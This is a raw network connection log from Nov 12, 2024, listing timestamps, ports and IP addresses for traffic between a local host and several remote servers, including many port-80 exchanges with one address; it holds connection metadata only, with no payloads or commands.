Nov 12, 2024 04:16:28.179131031 CET	443	49802	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.179244041 CET	49803	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.179259062 CET	443	49803	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.223469973 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.250413895 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.250456095 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.250612020 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.251677990 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.251689911 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.251701117 CET	49789	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.251704931 CET	443	49789	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.254234076 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.254271984 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.254379034 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.254826069 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.254842043 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.273281097 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.273370981 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.287225962 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.287237883 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.287448883 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.288475990 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.288585901 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.288616896 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.294068098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294080973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294150114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.294176102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294194937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294207096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294217110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294238091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.294259071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.294703960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294749022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.294759035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294769049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.294800043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.295146942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295159101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295167923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295191050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.295207977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.295454025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295500994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295511007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.295511961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295536041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.295553923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.295553923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295567989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.295608997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.296308041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296355963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.296380043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296391010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296401978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296436071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.296897888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296916962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296926975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296952963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.296962976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.296976089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.297003031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.299030066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.299084902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.348275900 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348295927 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348303080 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348319054 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348325968 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348329067 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348345041 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.348356009 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.348386049 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.348412037 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.376705885 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.376712084 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.376743078 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.376773119 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.376775026 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.376787901 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.376816034 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.376835108 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.415333033 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.415846109 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.415863037 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.417968035 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.417973042 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.418020964 CET	49794	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:28.418031931 CET	443	49794	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.426096916 CET	49805	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.426131010 CET	443	49805	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.426363945 CET	49805	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.426934958 CET	49806	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.426954031 CET	443	49806	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.427088022 CET	49806	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.427170992 CET	49805	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.427187920 CET	443	49805	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.427289963 CET	49806	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.427297115 CET	443	49806	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.448016882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448028088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448043108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448055983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448060989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448072910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448086023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448092937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448103905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448116064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448124886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448127031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448139906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448141098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448152065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448165894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448190928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448252916 CET	49802	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.448319912 CET	49803	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.448450089 CET	49805	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.448496103 CET	49806	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:28.448529959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448535919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448540926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448580980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448602915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448646069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.448738098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.448774099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449024916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449049950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449059010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449086905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449110031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449127913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449170113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449178934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449184895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449202061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449218988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449260950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449275970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449299097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449306011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449316025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449327946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449337959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449348927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449359894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449378014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449444056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449445963 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:28.449462891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449476004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449486971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449506044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449512005 CET	443	49766	18.244.18.38	192.168.2.5
Nov 12, 2024 04:16:28.449551105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449562073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449574947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449587107 CET	49766	443	192.168.2.5	18.244.18.38
Nov 12, 2024 04:16:28.449589014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449605942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.449616909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.449652910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450073004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450083971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450098038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450114965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450139999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450140953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450154066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450165033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450177908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450179100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450205088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450232983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450531960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450547934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450558901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450568914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450581074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.450579882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450603962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.450630903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.491327047 CET	443	49802	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.492245913 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.492264032 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.492316961 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.492325068 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.492388964 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.493524075 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.493539095 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.493566990 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.493603945 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.493608952 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.493619919 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.493633032 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.493655920 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.494241953 CET	49795	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.494251013 CET	443	49795	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.495326042 CET	443	49805	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.495326996 CET	443	49803	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.495331049 CET	443	49806	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:28.564896107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.564908028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.564949989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.564960003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.564968109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.565020084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.599862099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.599880934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.599936008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.599956989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.599975109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600007057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600016117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600039959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600100040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600110054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600110054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600142956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600145102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600155115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600166082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600166082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600176096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600193977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600219011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600326061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600344896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600358009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600394011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600404978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600574970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600609064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600620031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600672960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600684881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600786924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600907087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600918055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600928068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600948095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.600954056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600966930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.600975037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601002932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601152897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601170063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601180077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601197004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601223946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601269960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601283073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601293087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601304054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601316929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601332903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601347923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601372957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601572990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601589918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601598978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601630926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601650000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601670027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601691008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601732016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601774931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601785898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601795912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601809978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.601818085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601844072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.601869106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602036953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602056026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602066994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602104902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602114916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602118969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602129936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602139950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602150917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602160931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602194071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602195024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602214098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602215052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602229118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.602248907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602248907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.602277994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.604865074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.604907990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.604907990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.604921103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.604932070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.604943991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.604947090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.604954958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.604978085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.604999065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605034113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605046034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605056047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605067968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605078936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605093956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605098009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605112076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605123043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605129004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605129004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605170012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605176926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605187893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605200052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605211020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605211973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605222940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605240107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605274916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605727911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605740070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605751038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605778933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605802059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605859995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605871916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605882883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605909109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605923891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.605957031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605968952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.605978966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.606003046 CET	49750	80	192.168.2.5	185.215.113.206
